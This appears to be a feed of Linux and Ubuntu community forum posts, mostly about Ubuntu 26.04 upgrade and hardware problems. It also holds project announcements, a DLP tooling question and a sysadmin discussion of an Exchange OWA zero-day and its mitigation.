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I've been using Linux for about 20 years, but mostly on used laptops and self-built desktops. Before I wipe the new laptop, is there anything I should be concerned with? Is there anything I should do before starting.
I know what I'm doing: I just want to make sure there's nothing I haven't run into before.

Hello,

I upgraded from 25.10 to 26.04. My 25.10 was an upgrade from something like four prior releases, with numerous little hacks and fixes along the way. As a result, the upgrade to 26.04 was difficult. My graphics tablet was the wrong resolution and wouldn't recognise stylus touches, as well as numerous other things that I was not able to fix.

In the end I saved all of my local work to the cloud and formatted/reinstalled 26.04 from scratch.

I still encountered numerous issues even with a clean install. As such I thought it would be helpful to post here the fixes I found to those issues.

Blueman-applet would not open its window. The "Adaptors" window popped up just fine, but the main, most important window would never show. This turned out to be an issue with appmenu-gtk. Apps that use this library are borked now. Including Inkscape and Krita.

As a fix I installed dconf-editor

sudo apt install dconf-editor 

run dconf and search for "appmenu" then navigate to org/appmenu/gtk-module and edit blacklist to include the title of the apps you wish to blacklist; in this case, Inkscape, Krita and blueman-applet:

['blueman-manager', 'inkscape', 'krita'] 

Now those apps work again. I still have an issue with Krita; artist mode stylus touches aren't recognised at all, even though they work fine in Inkscape as well as in my own javascript code, so I know the artist mode touches are working; just not being picked up by Krita.

The other issue that remains is that Brave browser doesn't run with hardware acceleration, nomatter what flags I use. Back to Chrome, for now, on that.

Hope this is helpful to any of youz.

I already tried switching to wire gaurd,in and out of the country.

I try my best to be a good guy and plant as much as possible.... but I can't do it when PIA keeps dropping over night and plex and the planting stops altogether until force restarted.

Sudo apt update and upgrade have been done.

I'm not ready to upgrade yet and I'm sick of closing the notification all the time.

I tried to uninstall that but it seems it will also remove ubuntu essential packages.

I wanted to take a moment to share my appreciation, especially since most of Linux is made by volunteers!

About a year ago, I switched to Ubuntu (Kubuntu) for my gaming PC at home, and today at work, I had a sudden realization of just how frustrating Windows can be. Despite my work PC being powerful, the system feels sluggish, unintuitive, and just... off. After using Windows my entire life, I’ve completely fallen in love with Linux, without having any know-how in using the command line.

Even my girlfriend is almost ready to make the switch. Just waiting on a few .docx quirks in LibreOffice to be ironed out since she’s a writer.

Also, a shoutout to KDE! I’ve donated to them because I absolutely love using KDE Plasma on Ubuntu. The attention to detail, like their custom themes for LibreOffice etc, makes the experience so enjoyable.

I used IBAN to donate, so no money goes to third party provides like PayPal, it's a direct bank transfer.
Other ways to Donate - KDE Community

I've even considered learning to code, just to be a part of the community, but i'm gonna wait for my kids to be a bit older, I need my sleep first, hehe 😄

Thanks and have a lovely day!

Both my work laptop and workstation run Ubuntu, and I would like to find a way to remotely (same LAN or using a VPN - GlobalProtect) access my workstation from the laptop. I tested NoMachine, Parsec and Remmina and apparently they don't work... Does any of you have suggestions on what I could use? Thanks!

My friend says he is running pc Linux os and I don’t know what it is. He said that it is unstable and is very difficult to install new things. I don’t know what is this distro : PC Linux OS, but it seems like a bad distro to choose. He said that it is the original distro but can’t find any proof to back that up. Any idea what it is?

Okay so I lost the password to my Ubuntu PC and tried to reset the password through the GRUB menu and it worked, except that now entering my correct password only reloads the login screen and I do not enter.
Is this situation completely cooked or no?

Also heads up I am not familiar with Linux at all. I am a babe it the woods.

Hey! Sorry if this has been talked about B4, I tried looking for it but didn't find anything.

Every 10-15 minutes I get an "Ubuntu-26.04 internal error" that reports certain cinnamon related features crashing as well as some applets. Im Not sure if it actually influences my usage.

Next to that, I can't load certain things like where I add new themes.

I'm still a relatively inexperienced Linux user, I just don't like windows. Sorry if my report of these issues is dumb.

Hi, I recently upgraded from 24.04 to 25.10 using the upgrade pop-up. I now have this annoying issue where when Dark Style is active my file explorer type windows are completely transparent but I can still see the icons and window title bars are transparent too. When I switch to "Light" Style I get a mix of dark and light where the file explorer windows have a dark background but modals and text editor etc have a light background. I tried upgrading to 26 now but the issue persists, anyone know what I can do to fix it?

There are other issues like apps like Slack now need to be forced to run with x11 otherwise it doesn't launch. Also noticed on the Settings app that all main section text seems cramped.

Hi all, thank you for reading my question.

I just installed ubuntu 26.04 to my late 2013 24 inch iMac -- I installed all the softwre updates, I insterted various commands I fund on youtube, many things installed, but still no wifi.

I just don't know what else to do -- does anyone encountered this problem when installing ubuntu on an old device? I appreciate your help, thank you

You may know about Anubis by Techaro, the PoW challenge thing that protects websites from bots. It's used on several major sites, including FFmpeg, Arch, and the Linux Foundation. This experiment is specifically about Anubis.

Note that Anubis does not use up all CPU cores for its challenge to not overheat devices and for a better UX. Some PoW challenge systems do all cores, making them more effective. However, it appears as if Anubis gets the job done just fine.

Upgraded from 24.04 to 26.04 today and let me just say, this was the easiest setup I've ever done for an Ubuntu installation. Usually takes me a couple of hours to get everything working but this time I got it all done in like 45 minutes.

And sleep finally works!

Running on a Thinkpad P15 Gen 1

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I have just installed Kubuntu 26.04 and snaps are unavailable. I was able to install jdownloader2 and firefox but I am not able to install some other snaps that I need for work i.e. LocalPDF-Studio and Discord. Don't have an urgency for Discord, but LocalPDF-Studio has .snap file on their github. I don't know how to install it.

Ubuntu servers have always worked flawless for me. Did not know Snap could have issues like this.

Hi! I'm a young middle schooler who's pretty tech-savvy and looking to share knowledge on some stuff.

One thing I've done recently is trying to bring back an old laptop. Not horribly old - only about 6 years old, however it was running Windows 11 (eugh) and took 15 seconds to open a browser.

Here's how I turned that 15 seconds into 2, and turned it into a real, working laptop again, that you can use for pretty much anything that a typical person uses a laptop for.

Maybe not workstation and stuff like that but it does anything you could ask out of a laptop.

Lets go!

1. I used Arch Linux. I know it's a hard first time distro however if you've ever distro-hopped before like me - I switched from Nobara -> CachyOS -> Arch (not for just the larp) and have gained some experience. I used the included archinstall script and made sure to add modules like:

Bluetooth

Printers

Pipewire

Make sure to also get an LTS kernel, and configure limine!

And since Arch's iso is only about 1.4 GB, it's impressively lightweight and speeds up any old system.

Yes, I know that there are other distros out there that are specifically targeted towards old hardware; however, I find that Arch is by far the most customizable.

The AUR and Pacman also add to reasons of why to use Arch.

1. Format as btrfs (if you have a decent ssd)

For SSD's always use btrfs. It's stable, and offers a lot of backup snapshots. Although raw speed is not the same, btrfs uses some form of zstd compression when moving around files and speeds up real world performance.

1. Choose a light DE

This one's especially important. If you have decent hardware from the last 5-8 years or so, something like KDE or Budgie (what I use) wouldn't hurt. Older than that? A few options:

1. XFCE. I've used this one before. Pretty fast, but it doesn't have Wayland support and though responsive, lightdm is buggy.
2. LXDE. Like xfce, I think, but even better for old hardware.
3. LXQt. What I recommend. Uses Qtile framework, so wayland support included out of the box; the successor to LXDE.
4. OPTIMIZE, OPTIMIZE, OPTIMIZE!

This step takes the longest so I won't list every exact thing I did here. I'll just list what I did, not how. That's a bigger conversation for a different day.

1. Configured terminal - swapped from stock terminal to Kitty; changed shell from bash -> fish, configured starship, added shortcuts.
2. Kernel - Cross-compiled a kernel (tkg) from my main rig, optimized with every instruction the laptop had - Full LTO, znver1, and -O3 optimizations to squeeze performance out of the computer.
3. Configured ease of use - took so long. Configured paru, installed limine-update-tools and such for the limine bootloader and configured that, and a lot more.

The results speak for themselves.

Here's for a Lenovo 81W1, with a Ryzen 5 3500U APU:

Single core - 1,149 (Average - 878) Total gain - ~31%

Multi-core - 3,298 (Average -2,512) Total gain - ~31%

That ain't no silicon lottery! Way too many gains...

Try it for yourself.

Thanks for reading. Peace out, have a blessed day!

If anybody see any errors while upgrading Ubuntu to 26 from an older version, try the following fixes before rebooting. I had to do more technical things to fix it when I ignored these errors.
The errors are shown as 'python3 is not configured' in terminal. If you scroll up, there'll be some 'tzdata' error.

sudo ln -fs /usr/share/zoneinfo/Etc/UTC /etc/localtime
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y tzdata
sudo dpkg --configure -a
sudo apt-get install -f

I am guessing the error occurred because the time-zone is set to local instead of UTC, mostly done for dual boot support, which I did for 2 PCs. Both had the same issue.

Hope it helps.

Hey guys, fairly new Linux user here.

I've wanted to acquire the expertise required to contribute to Linux in some technical way, so how would you recommend I start to learn the process?

I'm not at all experienced in this, only having basic programming knowledge from computer science classes in high school which were a shitfest, but that's another story. I have been using Linux as a daily driver for a few weeks after I reinstalled on my new pc. So I would be considered an enthusiast among my peers, for what it's worth.

I am willing to spend a good amount of time as I have a vacation coming soon, and I wanted to learn how to program anyway so decided I might as well learn how the OSS community works in the same timeframe lol.

All tips are appreciated :)

Alright everyone,

A quick update on Mend. The project was recently accepted into the curated awesome-zsh-plugins list, so a massive thank you for the support on the previous post!

Version 0.8.3 is now live on GitHub and the AUR zsh-mend-git.

This release addresses a bug report regarding the typo & history assistant and introduces a clean workflow addition.

A complete Typo & History Assistant rewrite mend -h was needed after a community issue was raised about the old fuzzy matching engine being a bit too broad and missing straightforward package manager typos like pacaman and shell commands like ccd aaps. The logic now uses a strict two-character prefix filter. This slashes the background noise and pins the correct command right at the top of the menu, while cleanly replacing the typo in your terminal history file.

Git Deployment Wizard mend -git. I was just finishing this function when the history issue popped up, but managed to get it wrapped up for this release.

Look, I know that Git is a massive and complicated beast, so this wizard is just a small poke to the ecosystem rather than a full tool replacement. It simply replaces tedious terminal text prompts with a lightweight fzf TUI to help speed up dotfile tracking and quick repository pushes.

Added Help Menu mend --help a standard usage layout for easy flag cross-referencing.

The Arch PKGBUILD is fully updated to standard packaging rules and ready to pull down.

Grab the update and let me know if the new prefix matching behaves itself with your history files.

Project link: Mend

Thank you all for the continuous support. It would not be possible without it.

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STORY:

I have my own PC equipment and repair shop, I do some basic data recovery via various software. One of my customer has brought in a 2TB Kingston NV3 nvme which had no signs of life at all. I checked it and this was the story: BIOS was reading it as PCIE 4.0 disk and not as Kingston NV3. Boot manager wasnt reading the boot partition, Windows file explorer / partition manager / diskpart / various windows disk recovery software wasnt reading the disk at all and it would just freeze my windows. But after i booted linux mint debian and started gnome disks it was reading it perfectly since the disk wasnt auto mounted i just mounted the NTFS partition and boom I got all of my customer files. He was so happy since one other repair shop offered 500$ to "TRY" to fix it phisically. Note: gparted on linux didnt work either only gnome disks.

repaired an old hp laptop and switched it to ubuntu but now not seeing wifi, how do i ifx this

Over the last decade I’ve been playing with dozens of servers from multiple providers. These are the steps I’ve been perfecting to get up to speed fast and feel right at home on a new machine. Wrote it down here mostly as a personal reference, but hopefully useful to someone else too.

I have some apps I just want to show for my user. I tried placing their corresponding .desktop files under ~/.local/share/applications and they still don't show as an app. This works fine with xfce. Are there any other extra steps?

I know that the software-properties-gtk has been dropped from the base image. And that the "Preferences" here linked to that software. So I imagine that's why it might not be working right now.

For Ubuntu Pro's Live Kernel to show up as a system tray icon you need to reinstall that software-properties-gtk, but wasn't sure if there was a way to get that update notifier back? I really liked it in 25.10.

I'd always been curious to own a Mac and try macOS. The existence of ARM chips and the recent release of the MacBook Neo encouraged me to buy it.

The laptop's build quality and screen are fantastic, like few I've ever seen. The A18 Pro chip is quite powerful for its intended purpose (I work with text and browse the internet). Even with 8 GB of RAM, the laptop met all my needs. The keyboard is really good, but I consider the ThinkPad's keyboard unbeatable.

But then came macOS. The window management is awful. The workflow feels sluggish. Having to be logged into the App Store to install applications didn't appeal to me. I couldn't easily remove any program I wanted. But perhaps the worst part was the feeling that the system simply wasn't mine. I couldn't do what I wanted, install and run things the way I wanted.

I returned the MacBook and went back to my old laptop with an AMD Ryzen and Fedora. I feel like I'm at home. Linux has something that other closed systems will never be able to deliver.

I tried some gnome shell customization but it didnt worked properly due to the GPU its built on my early 2015 Macbook pro. Then i made a dumb mistake that the icons that you can close, minimize and go on full screen are invisible. How can i get it back to make them visible?

I tried some gnome shell customization but it just didnt worked properly due to the GPU its built on my early 2015 Macbook pro. And i made some dumb mistake that the icons that you can close, minimize and go on full screen are invisible. How can i get it back to make them visible?

I recently installed Ubuntu 26.04, and I've mostly had a great experience, but there's one or two things that keep bugging me, and this is one of them. Basically, even if I don't have any media actually playing, the system seems to think I do if I have headphones paired, and it shows this "Unknown title" playing with an "Unknown artist". This keeps going away when I unpair, and coming back when I pair my headphones. Has anyone else run into this, or knows what might be going on here? Thank you!

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It has worked fine for me, besides It saved the file in webp and android's don't play that format well and it not recording any system or mic sound. It did the job for some part. But now the videos are getting glitched. they tear randomly, When played for the first time the glitch was at the last 2 secs, played again now it's in the first 10 secs too. It like a virus spreading. Tried using kazam but idk these screen recorders show black screen when saved. OBS works but that's a little heavy and overkill for my use case. any suggestions?

I have created a boot usb with ubuntu and put it as first option in the startup of the system, in bios
When it starts i select the first option (try or install ubuntu) and then that screen apears
Any posible solutions?

I'm on Ubuntu 24 with 8GB RAM. I have only 2 tabs open, Google and Reddit.

So recently I tried to install discord through the .deb file, and it opened the app center and began installing, but then remained trying to install until i cancelled the installation. I thought "Maybe it's just discords .deb file, I'll come back to this later." It's been about 2 weeks now, and I needed to install Steam onto my Ubuntu, and I'm getting the same problem. It just says installing, and doesn't actually install anything.
Discord was attempted on version 25.10, and Steam on version 26.04 LTS, and both installations were attempted on my pi 500 keyboard.

I have been a (mostly) happy Ubuntu user for 2 years, but I can't help but feel that the system can be really inconvenient to use at times. Especially whenever upgrading to a new release. That's actually why I decided to stick to LTS moving forward.

I would say my biggest problem is with drivers, they sometimes break out of nowhere, and can be quite a headache to get working again. This happened with my camera, touchpad, microphone. With the exception of the touchpad, I couldn't get the other two to work again :(

Having just upgraded to 26.04, now both hibernation and suspending don't work, and I have to look into what's supposedly a basic OS functionality to see what went wrong. A bunch of my applications also stopped working and I had to monkey-patch them until a stable update is out. Basically ever since my first upgrade from 24.04 to 24.10, I have my fingers crossed every time I'm upgrading praying nothing major will break.

All of this got me thinking that, while Ubuntu offers a great Linux experience, it can also really get in the way of my workflow sometimes. I wonder if that has always been the case with Ubuntu or if overall it has improved now compared to old releases.

Newer to Linux and I am curious about what the pros and cons of installing apps with app images vs downloading them from the software center in Linux Mint. The note taking app Obsidian is what really led me to asking this question. When I found out about that program and wanted to try it I used some help I got from the internet to install it and they recommended using the app image. I went that route and it works great but I eventually saw it in the software center and thought to myself, "well that would have been easier." 😂 I'm just curious if there's any pros or cons to one or the other (besides disk space I assume) so I can decide which type I would like to install with programs moving forward. Thanks!

Hello , tout est dans le titre et je suis une truffe .. mais les datas sur ce disques sont plutot importantes .. si vous avez eu le cas , avez vous pu débloquer l'accés disque (soft de brute force ou autre ?) merci d'avance et sinon tant pis pour moi.
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[Velvet Noir] - glass-forward, dynamically themed Hyprland setup

Been working on this for a few months before uploading to GitHub and finally feel like it's at a point worth sharing. Velvet Noir is my take on a dark-glass Hyprland rice: minimal, fast, and fully automated through Matugen for wallpaper-driven color generation. Chezmoi handles the whole config structure, which makes it surprisingly painless to manage across machines.

System details

• OS: Arch Linux
• WM: Hyprland (14px roundings, 4-pass blur, custom whooshZap bezier animations)
• Bar: Waybar (44px floating pill modules, debossed styles and hover-lift effects)
• Terminal: Kitty (85% opacity, 64-level blur, JetBrainsMono Nerd Font)
• Shell prompt: Starship (Tokyo-Night powerline with dynamic Matugen colors)
• Launcher: Rofi (expanding glass launcher with blurred background)
• File manager: Yazi (terminal-native, custom colors)
• Notifications: SwayNC (dark-glass blurred control center)
• Lock screen: Hyprlock (animated blurred locker)
• Theme sync: custom theme-switch.sh hooked into Matugen

What makes it tick

The main thing I wanted to get right was single-command theme switching - run the script, Matugen picks up the wallpaper, and everything from terminal colors to Waybar styling to GTK assets updates automatically. No manual hex editing.

The blur setup is 4-pass on the Hyprland side with transparent floating layouts throughout. The whooshZap animations are custom bezier curves I tuned for workspace switching and window open/close — snappy but not jarring.

Dotfiles

Everything's open-source and managed with chezmoi: https://github.com/programmersd21/velvet

bash git clone https://github.com/programmersd21/velvet.git cd velvet && chmod +x dot_config/install.sh && ./dot_config/install.sh

A note on AI use - I used AI assistance in a few places: debugging Hyprland config errors, tuning keybinds, writing code comments, and as a general reference when I didn't want to dig through docs. The rice, design decisions, and overall config structure are my own.

Happy to answer questions about any part of the config. Would love contributions and other forms of feedback!

Keywords: Ubuntu, Debian, Nvidia, driver, iGPU, dGPU, BIOS, UEFI

Last thing first: Changing a single GPU related setting in BIOS/UEFI rectified an otherwise catastrophic failure even between full re-installs.

The long version: 13.7 billion years ago it all began probably, then there was a bunch of nonsense. And suddenly here we are wasting time trying to fix problems in Linux because we fail to understand the Dunning Kruger effect.

I have an MSI laptop with an Nvidia 5080. It came with Windows 11 and it was the first time I'd used that, given I was happy with 10 on my previous laptop. Goes without saying 11 is pure garbage and with all the co-pilot and other rubbish with it, I decided I was going to give Linux another shot (I tend to every 10 years).

So I installed Catchy OS on the second SSD (it's a fancy laptop) and loved it....until a random update nuked it. I don't know what I'm doing. Undeterred, I settled on good old Ubuntu 24LTS, and that was great, the Nvidia driver installed without issue! It was stable, stuff worked, I could even game!

BUT

The honeymoon was short lived. At home I essentially use my laptop as a desktop, with my TV as the only screen. No issues. At work however, I have a screen and stand for the laptop, with the intention of the internal display being the second screen. And when I first Uboontued up at work (see what I did there - hire me and I'll write jokes for you), the external display did not play ball. It was fine with Windows, but not Ubuntu.

I poked around a little without doing anything drastic, even trying a previous Nvidia driver, nothing. Then I decided to venture into BIOS (I'm old, let me call is BIOS, I'll accept it's UEFI when the US accepts the metric system!). There was nothing that would obviously help, but I found how to display the advanced settings and was suddenly overwhelmed.

This is where the Dunning Kruger effect kicked in. I know how to computer. I've been computering longer than the median human being has even been alive! Now, I know this laptop has an Nvidia dGPU, but as a laptop, of course it has an iGPU too! Maybe they're fighting over control or something, I dunno. Hey, there's a setting to toggle between GPU settings. iGPU, Hybrid, or auto - it was on auto, and I figured hybrid is surely the same, so I chose iGPU and reboot. And it worked! Dual screen Ubuntu, stable Nvidia drivers, work, games, browsing, other computering. Ubuntastic!

BUT THEN

Nvidia dropped driver 595 on us. (I was on 590 until then). Now I may be a fool but I'm no fool. One does not simply update Nvidia drivers on Linux withou...hey WTF it installed as part of a routine package manager update, shouldn't it maybe ASK first? Oh well what harm can it do?

Computer: " ... "
Me: "I said, what harm can it possible do?"
Computer: " ... "
Me: "I said, wh.... oh... crap."

Ubuntu 24LTS froze at login, it even froze in recovery mode, it even froze in previous-kernel mode. I couldn't even get into terminal! I tried various things, stopping short of hammering it to pieces in a fit of frothing rage. And decided to boot from a USB, back up my home folder, and reinstall. (Side note: Time shift and Snapper proved useless!). 24LTS reinstalled fine, and even booted, but froze after log in, or at the recovery option screen in recovery mode. I could get into terminal in regular mode, but it froze too quickly for me to enter anything.

I tried POP OS as that's supposed to like Nvidia. Same deal. I tried Ubuntu 26. Ditto. Along the way I tried odd combinations of things, install WITH nvidia updates, WITHOUT nvidia drivers etc... But as soon as any nvidia driver went near it. Instadeath.

Then it hit me <insert Police Squad-esque physical gag here>. Given this issue kicks in so quickly, maybe it's something more fundamental than a setting I could change within the OS, something basic one might say, related to inputs and outputs, in a system. That's right, UEFI!

Spoiler: It was. It was the GPU selector setting. I put it back to auto and Kubuntu 26 installed with Nvidia driver 595 no problem. And incredibly it even works with my second screen at work now too. I can only assume that Windows has some kind of workaround for some bios settings like this. But Linux systems take the GPU selector to heart and really obey it? I don't know. All I can tell you is, it works. If you have a similar issue give it a go before you go reinstalling anything!

Don't be a fool like me!

I made tttui, a configurable terminal typing test.

to install:

`cargo install tttui`

repo: https://github.com/ReidoBoss/tttui

make sure to read the configuration instructions to configure it in your own liking!

As the title says.

Aside from the obvious like fastfetch, htop, vim, etc what CLI apps are out there which replace a GUI app?

I like these as it is much more convenient and faster to have it all one command away and they use much less system resources (looking at you electron) as well as just making me look like a hackerman.

ratSCAD is a terminal IDE for OpenSCAD with live 3D previews. It is powered by Ratty terminal's inline 3D graphics protocol.

After upgrading to 26.04, it seems that Vim has learned some mouse interaction. Click+drag is now equivalent to visual mode, it seems. But visual mode doesn't automatically copy the selected text to the clipboard.

In theory vim can copy to the * register, which is the middle-button clipboard. That's not ideal, because I've got nearly three decades of muscle memory invested in select-to-copy, but it'd be something. But the version of vim that's installed by default is compiled without clipboard support. So it seems there is now no way at all to copy text from vim to the clipboard.

Ideally, I could just go back to the old behaviour and not bother retraining my muscle memory. Is there a way to do it? A quick google suggested `mouse=nicr` in vimrc, but it seems that disables the mouse entirely, you can't even select text like you used to be able to.

And who on earth thought that shipping vim in a default state where copying to the clipboard is not possible was a good idea?

Our org runs a mixed fleet, about 60% Linux, rest Windows and macOS, and we're, in the middle of replacing a legacy DLP setup that basically ignored anything not running Windows.

Constraints: mid-market budget, two-person security team, already deep in Microsoft 365 but not locked into Purview, and we need, USB control plus content inspection to actually work on Ubuntu and RHEL endpoints, not just check a compliance box.

Forcepoint's Linux agent support is unclear from what I've been able to find - their endpoint protection seems, to be documented for Windows and Mac only, so if anyone has real-world experience there I'd love to know. Microsoft Purview is the obvious fit for our M365 stack but I haven't been able to get a, straight answer on where their endpoint story actually lands for non-Windows, and I'm not fully confident in it. We also looked briefly at Netwrix DLP but couldn't find much verified information about their Linux support at all, which makes it a harder sell to leadership regardless.

Priority order for us: reliable Linux agent, USB and peripheral control, content-aware policies that don't need a full-time tuner, and decent M365 integration.

Curious specifically how others with Linux-heavy fleets are handling the Purview gap right now, and whether Forcepoint's Linux support has actually held up in production.

Hi,

i have isntalled google chrome from googles official page few years ago. It used to work fine, but last few weeks i noticed i don't get updates and the system is complaining about architecture. How ca i fix this?

This is the error message:

Skipping acquire of configured file 'main/binary-i386/Packages' as repository 'https://dl.google.com/linux/chrome-stable/deb stable InRelease' doesn't support architecture 'i386'

The system somehow (without asking me) renamed the old google-chrome.list to a .bak file and created a file called google-chrome.sources. From what i've learned online, the fix should be to add ``Architectures: amd64`` line to that file. When i do the error message dissapears. The thing the line is somehow removed every now and then and i need to put it there every time i spot the error in the update script. What is the 'real' solution so i can rely on updates without checking the logs?

Thanks

Details:

root:/etc/apt/sources.list.d# cat /etc/issue

Ubuntu 25.10 \n \l

root:/etc/apt/sources.list.d# uname -a

Linux ryzen 6.17.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 12:04:44 UTC 2026 x86_64 GNU/Linux

root:/etc/apt/sources.list.d# ls -la | grep -i google

-rw-r--r-- 1 root root 190 Mar 29 2025 google-chrome.list.bak

-rw-r--r-- 1 root root 334 May 18 10:00 google-chrome.sources

root:/etc/apt/sources.list.d# cat google-chrome.list.bak

### THIS FILE IS AUTOMATICALLY CONFIGURED ###

# You may comment out this entry, but any other modifications may be lost.

deb [arch=amd64] https://dl.google.com/linux/chrome/deb/ stable main

root:/etc/apt/sources.list.d# cat google-chrome.sources

### THIS FILE IS AUTOMATICALLY CONFIGURED ###

# Changes to this file will not be preserved.

# This file will not be recreated if removed.

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I get this, even though the Ethernet is plugged in and the rabbit ears are connected. Those are the wifi adapters are they not? I’ve been trying to fix this for the past two hours with no luck. Please. I didn’t update my system last night when given the chance if that means anything?

Hi im here to ask a question, have you ever had a linux/ubuntu specific issue with the wifi on a specific provider?

Im currently using Partner IL And ive been noticing that the same PC on the latest drivers without any changes the wifi is inconsistent on ubuntu compared to windows, android & macos.

Ive even tried other distros the thing is even while testing other wifi drivers it was the same result of being about 100mbp/s to even 250mbp/s slower than any other computer (even computers with slower and older wifi cards), so what im saying that i suspect my provider is slowing/not supporting properly linux devices is this the case or could it be something else?

Specs :

- WIFI 6 Router 1000mbp/s

- WIFI Only

- Aorus Z890 Elite WIFI7 Mobo

- Ubuntu: 300-400mbp/s

- Windows (same pc): 500-700mbps

- Macbook (2018 Ver): 600Mbp/s

Thanks.

My res is stuck at 1600 x 900 and I dont know my output because the dam computer is so old it uses a dvi cable with an adapter for the HDMI

I’m new to Linux. I’m installing Ubuntu on my laptop to replace the preexisting OS (Windows 11), the issue I’m experiencing is it seems to be stuck on this part of the installation. I’ve been waiting for 15 minutes or so and it still hasn’t moved past this specific part.

Hey everyone,

Just wanted to kick off a discussion because I think a lot of sysadmins are going to be scrambling on this one.

Microsoft confirmed active exploitation of CVE-2026-42897 — a cross-site scripting zero-day in Exchange Server's Outlook Web Access (OWA) component. The attack vector is genuinely simple: attacker sends a crafted email, victim opens it in OWA, arbitrary JavaScript runs in their browser session. That's the exploit. No credential stuffing, no lateral movement required to initiate.

Affected: Exchange Server 2016 CU23, 2019 CU14/CU15, and SE RTM. Exchange Online is NOT affected.

**The patch situation is messy:**
- No permanent patch exists yet
- EEMS auto-mitigation deployed May 14 (should have applied automatically if EEMS is enabled)
- Manual mitigation: run `.\EOMT.ps1 -CVE "CVE-2026-42897"` from elevated Exchange Management Shell
- Exchange 2016/2019 customers need Period 2 ESU enrollment to receive the permanent patch when it drops
- CISA KEV listed — federal agencies must remediate by May 29

**The tradeoffs with the mitigation:**
- OWA Print Calendar breaks
- Inline images in OWA reading pane won't display
- OWA Light mode also affected (though that should already be deprecated in your environment)

This feels like déjà vu from the ProxyLogon/ProxyShell days, and honestly I'm surprised more people aren't talking about this given that 14 of the 19 Exchange CVEs in CISA's KEV catalog were later weaponized in ransomware attacks.

**My questions for the community:**
- How quickly was EEMS mitigation confirmed in your environments?
- Anyone in the r/sysadmin crowd still not enrolled in Period 2 ESU for 2016/2019? How are you handling the patching gap?
- Has anyone seen detection hits in IIS logs suggesting pre-disclosure exploitation?

I wrote a more detailed technical breakdown including the full attack chain visualization and step-by-step mitigation here if you want more background: https://www.techgines.com/post/microsoft-exchange-server-zero-day-cve-2026-42897-owa-xss-exploit

And for context — this is the second critical mail server vulnerability this week. We covered the Exim CVE-2026-45185 (Dead.Letter) RCE three days ago here: https://www.techgines.com/post/dead-letter-exim-cve-2026-45185-a-critical-unauthenticated-rce-is-hiding-inside-your-gnutls-mail

If you're running a hybrid environment with Exim relay + on-prem Exchange, you've had a rough week.

I've just updated to 26.04, before updating the App Grid had 6 columns and small dots at the bottom for paging.

Now it seems to fill the whole width of the screen and showing all my apps, no more paging.

Is there a setting somewhere to revert that to the old way?

I'Ve tried disabling all my extensions, nothing seems to fix it

currently i'm using the 24.04.4 and all is good .. yet i feel i'm a little bit behind and missing some stuff even tho my machine is really old .. here's my spec.

should i ?

https://preview.redd.it/2gfdoiuaor1h1.png?width=1091&format=png&auto=webp&s=44d3485d6f9d1ba8b135affd8cc912f246bf985b

It seems to be down for me.

Hey guys i need a help so is there any way to install android tv alongside with Ubuntu and windows i already have installed them by partition method now i want to install android tv but don't have a usb so is there any way to load into the grub and install it on a different drive without a usb

As a kid from Nepal , born 2000, when I was about 10, some phones were starting to be seen and one of the person with nokia 3310 was my uncle. I was hooked. Played snake all the time and locked his phone with PUK code. Then, internet came, hacking wps password from wifi using android phones from neighbour when they came along. Started watching MKBHD, mr mobile, austin evans etc. Wanted a laptop badly, after few years uncle and my dad put half amount each to buy me Acer aspier 4349, I drove that laptop from in and out and used several OS like XP, vista, 7, kali linux and many gaming windows pre configured OSes( had no clue what i was doing), cracked games and all. That was my fondest memory of using PC. But I knew Nepal would be my bottleneck for my tech aspirations, completed my highschool and applied for student visa to Australia. Came at the wost time during covid where the prime minister couldnot care less about international student but we persevered. Lost enthuthiasm towards tech, everything felt sterile and safe even with windows. Built my gaming rig but enthusiasm was not there. Last month decided to give cachyos a go cuz I needed something to tinker. It has been a joy. Yes I break it all the time but whats the fun in a corporate clean office when you can have your own room with your own filth. Started with kde plasma, now reinstalled with no DE and no cachyos packages other than kernel manager and setting up hyprland with HyDE . I am actively on my PC longer than ever. Looking forward to learn all open source apps and learning different workflows. Also, planning to get into learning programming languages which admittedly I put off before but no more. Thank you linux.

Please be nice, I am a complete noob.

My husband installed Ubuntu on my old Macbook Air for me, an early 2014 model. It's been great! I love it way better than MacOS and way, way better than Windows. However the only issue I am running into is that my keyboard and trackpad are completely inoperable since installing. I was already using an external mouse instead of the trackpad, but I hate having to use an external keyboard, and I did occasionally use the trackpad when I was not at my desk.

We've been trying to figure this out for about a month. I've watched a lot of videos and tried a lot of things since this seems to be a common issue. The problem is I am a TOTAL noob, literally have never had to use code or a terminal in my life, so I've had Claude AI and my husband walking me through most of this. It seems to come down to "creating a custom SSDT (ACPI table override) that manually describes the SPI controller to Linux." Claude's words, and my husband says this is also what he found in this research. However, both Claude and my husband recommended asking reddit before we go that route.

I will copy and paste what Claude & I have done so far, and try to get my husband's help to answer any clarification questions.

• MacBook Air Early 2014, Ubuntu 25.10, kernel 6.17.0-22-generic
• applespi module loads but no SPI keyboard/trackpad devices appear in dmesg
• ls /sys/bus/spi/devices/ shows only spi0.0 (a flash chip, not input devices)
• acpi_osi=Darwin tried, no effect

We also followed a github link which was where we found acpi_osi=Darwin:

https://github.com/cb22/macbook12-spi-driver/issues/65

All of this is Greek to me. Claude has been my main help here, and my husband has just been supplementing his knowledge where he can and allowing me to learn on my own. I appreciate that from him, but now we are both kind of stuck. He is dreading the ACPI table thing, which makes me kind of scared about it too.

Does anyone have any fixes for this issue or recommendations? Please, explain like I'm 5. I have no idea what I am doing.

Decided to install clean Kubuntu 26.04, clean new BTRFS partition, full encryption. (1GB EFS, installer created 4GB /boot, and 400GB btrfs /). First or two boots everything worked, system updated, also ~I started configuring things. I and left home for a few days, first thing when I tried to run system:

KERNEL PANIC ERROR 0x0000100 !!

WTF... kernel 7.0.0.15 the same happens with previous 7.0.0.14. When I enter advanced mode (console), I enter LUKS2 password, it continues for a moment and KERNEL PANIC again ... WTF ?

what i'm supposed to do now ? how to trust such system??

(previous kubuntus worked on that PC for 3y, also Win11 still works).

https://reddit.com/link/1tfx42d/video/y7yus0irnq1h1/player

I am trying to install Ubuntu 26.4 on a old dell Inspiron laptop

Hey r/linux, I wanted a share a project we just launched recently called Ota. The problem we're exploring is pretty familiar, a repo can look complete on GitHub, but still be surprisingly hard to run. The real setup and runtime knowledge is often scattered across READMEs, scripts, CI config, env files, Dockerfiles, and things only the maintainer or team knows.
That creates a few painful issues: new contributors lose time getting to a first successful run, local and CI behavior drift apart, setup steps slowly become stale, and automation or coding agents end up guessing because the repo does not have an explicit operational contract.

Ota is our attempt to make a repo’s working state more explicit and repeatable. The core flow is:

